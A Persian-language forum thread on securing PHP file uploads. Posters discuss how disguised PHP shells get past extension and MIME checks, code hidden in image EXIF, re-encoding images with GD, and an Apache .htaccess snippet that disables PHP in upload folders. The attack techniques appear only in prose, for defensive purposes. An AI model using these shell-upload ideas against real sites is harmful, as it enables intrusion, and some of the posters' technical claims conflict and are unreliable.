در كل الويت با بسوند هست يا هدر?تو همه ي وب سرور ها همينه يا .... .جون يه سايتي بود با jpg شل ريختن اما php اجرا شد توي فيلمي كه ديدم.يا tar.gz ريختن php اجرا شد!!

----------


## omidabedi

الان که چک کردم حق با شماست در حالت عادی تغییر میکنه
اما وقتی مثلا فایل .jpg رو به .php تغییر دادم تاثیری روی نحوه ی نمایشش ایجاد نشد روی سیستم من حتی thumbnail هم نمایش میده
این وسط چی هست که اینارو مشخص میکنه.پسوند و mime type که عوض شدن دیگه؟!

اینجوری یه مرحله به چک کردن فایل اضاف میشه اینکه mime type حتما باید با پسوند مطابقت داشته باشه

مسئله ی دیگه ای هم که هست حتی میشه توی exif عکس کد php گذاشت.نمیدونم تا چه حد اجرایی باشه چون من تست کردم چند بار اجرا نشده اما خیلی از سایتها رو دیدم که با دمو گذاشته بودن اموزششو!!!


اطلاعاتی درباره ی exif : 
http://www.gooyait.com/1390/05/11/ho...ographers.html

----------


## MMSHFE

هدر فایلها مشخص کننده نحوه اجراست. توی لینوکس که کلاً کاری به پسوند نداره و همیشه با هدرها کار میکنه و ویندوز هم فقط از پسوند برای مشخص کردن اینکه با چه برنامه ای باز بشه (File Association) استفاده میکنه. بطور کلی وقتی شما با GD تصویر جدید از روی قبلی تولید میکنید، اطلاعات EXIF هم حذف میشه.

----------


## metal gear solid 4

> MIME TYPE از روی پسوند تشخیص داده میشه!


تا جایی که من میدونم اینطور نیست. شاید من اشتباه میکنم. لطفاً اگر منبعی برای صحت حرفتون دارید معرفی کنید.

----------


## omidabedi

> تا جایی که من میدونم اینطور نیست. شاید من اشتباه میکنم. لطفاً اگر منبعی برای صحت حرفتون دارید معرفی کنید.


تست کنید خب خودتون.
البه ابزاری هست که بشه هدر رو عوض کرد به تنهایی اما در حالت عادی اگر پسوند فایل رو عوض کنید mime type هم عوض میشه

من از این سایت استفاده کردم 
http://mime.ritey.com/

----------


## MMSHFE

> تا جایی که من میدونم اینطور نیست. شاید من اشتباه میکنم. لطفاً اگر منبعی برای صحت حرفتون دارید معرفی کنید.


یک فایل PHP رو تغییر نام بدین و پسوندش رو jpg. کنید و بعد از آپلود، ['FILES['upload']['type_$ رو echo کنید ببینید چی چاپ میشه.

----------


## metal gear solid 4

درهر صورت، من تست شل رو انجام دادم. با MimeTypeGuesser ـه Symfony حتی با تغییر پسوند، تغییر mime-type باز هم اگر تصویر واقعاً تصویر نباشه خطا برمیگردونه. نگاه نکردم از چه روشی استفاده میکنه اما حدس میزنم exif باشه.

----------


## MMSHFE

بله هدرها رو میخونه ولی اکثر کاربران با همون روش معمول یعنی آرایه FILES_$ کار میکنن و درنتیجه باید حواسشون به این موارد باشه و فکر نکنن MIME Type مورد امنی محسوب میشه. درواقع تنها امتیاز MIME Type اگه هدرها رو چک نکنیم، اینه که یکپارچگی در پسوندها ایجاد میکنه (فرضاً همه پسوندهای jpg. و jpe. و jpeg. و... با image/jpeg شناخته میشن). حتی اگه هدرها رو هم چک کنیم، باز هم باید کدهای Inject شده احتمالی رو از بین ببریم چون ممکنه فایل آپلود شده، واقعاً یک تصویر (با هدرهای استاندارد و صحیح) باشه که کد داخلش درج شده.

----------


## abolfazl-z

آقا رضا حالا اگر دو تا باشه اشکال داره؟ :متفکر: 
 تاپیک رو ادامه دهید.
شما هدفتون مگر آموزش نیست ؟ یکی از اصلی هایش زده .
ممنون میشیم ادامه دهید.  :لبخند:

----------


## amir2225

بسیار خوب است ادامه دهید

----------


## رضا قربانی

> برای اپلود هم بهترین روش اینه که فایل هارو توی پوشه ی قبل از public_html اپلود کنید و دسترسی مستقیم هم ندید.فایل حتما rename بشه


 پوشه قبلشم بذارید بازم با دستورات لینوکس و اچ تی اکسس میشه بهشون دسترسی داشت ، --- حتی به سرور --- بازم از سایت دیگه ای در اون سرور میشه به سایت قربانی دسترسی پیدا کنیم .* شما نباید بذارید هیچ شلی آپلود بشه .*

نامشم عوض کنید با کراول و یه مقدار سر و کله زدن با آپلودر میشه نحوه کد دهیش رو پیدا کرد و براش یه (به قول برنامه نویسا ماژول اکسترنال نوشت و بهش اتک زد تا پیدا کنه :)

تنها روشش استفاده از توابع gd  و مستقیما عکس رو نفرستیم به سرور ، تو صفحه اول گفتم .



طی یه سری مسائل امنیتی شخصی  (علم کشی توی ایران) باز اومدم .


خداییش نیتم خیره و فقط جنبه محافظت از خودتون رو داره .
===========
*خب دوستان مایلید ادامه بدم*  :لبخند گشاده!:

----------


## masiha68

> پوشه قبلشم بذارید بازم با دستورات لینوکس و اچ تی اکسس میشه بهشون دسترسی داشت ، --- حتی به سرور --- بازم از سایت دیگه ای در اون سرور میشه به سایت قربانی دسترسی پیدا کنیم .* شما نباید بذارید هیچ شلی آپلود بشه .*
> 
> نامشم عوض کنید با کراول و یه مقدار سر و کله زدن با آپلودر میشه نحوه کد دهیش رو پیدا کرد و براش یه (به قول برنامه نویسا ماژول اکسترنال نوشت و بهش اتک زد تا پیدا کنه :)
> 
> تنها روشش استفاده از توابع gd  و مستقیما عکس رو نفرستیم به سرور ، تو صفحه اول گفتم .
> 
> 
> 
> طی یه سری مسائل امنیتی شخصی  (علم کشی توی ایران) باز اومدم .
> ...


بعد از سال ها ....
اره ادامه بدین ... 
و یه سوال که نمیدونم جواب داده شده یا نه چون یه مدت نبودم ... واسه فایل های غیر عکس چیکار کنیم ؟؟

----------


## rezaonline.net

اگه وبسرورتون آپاچی هست ، توی پوشه عکس ها یا فایلها که قرار نیست هیچ فایل پی اچ پی ران بشه یک فایل htaccess. میسازید با محتوای زیر 


```
RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off
```

دیگه شل های پی اچ پی اجرا نمیشن :)
البته در اصل نباید اصلا بذارید آپلود بشن اما اگر احیانا هم آپلود شدن دیگه اینجا میشه بن بستشون :)

----------


## ashid098

خوب بود دمتون گرم ولی من که لازمه کاربر فایل php رو اپ کنه چی؟
چطوذ می شه کد های مخرب رو از بقیه کد ها جدا کرد
واسه فایل های زیپ و اونایی که واسه دانلوده ایا لینک غیر مستقیم جواب میده؟
ممنون

----------


## users1890

دوستان با توجه به اینکه تاریخ نوشته این مطالب برای خیلی وقت پیشه میخواستم بدونم الان در سال 2021 
آیا روش جدید و بهتری برای جلوگیری 100 درصد از هک در  php
ما یه اسکریپتی رو بیشتر از یک ساله داریم مینوسیم و این سایت دوتا  قسمت اپلود تصاویر داره که برای امنیتش شاید هیچ کاری نکردیم
الان تکلیف چیه ؟ کدوم قسمتارو کار کنیم ؟ ایا قسمت اپلود تصاویر رو فقط با توابع جی دی انجام بدیم حله ؟ و دیگه جای دیگه ای تغییرات لازم نیست؟

----------

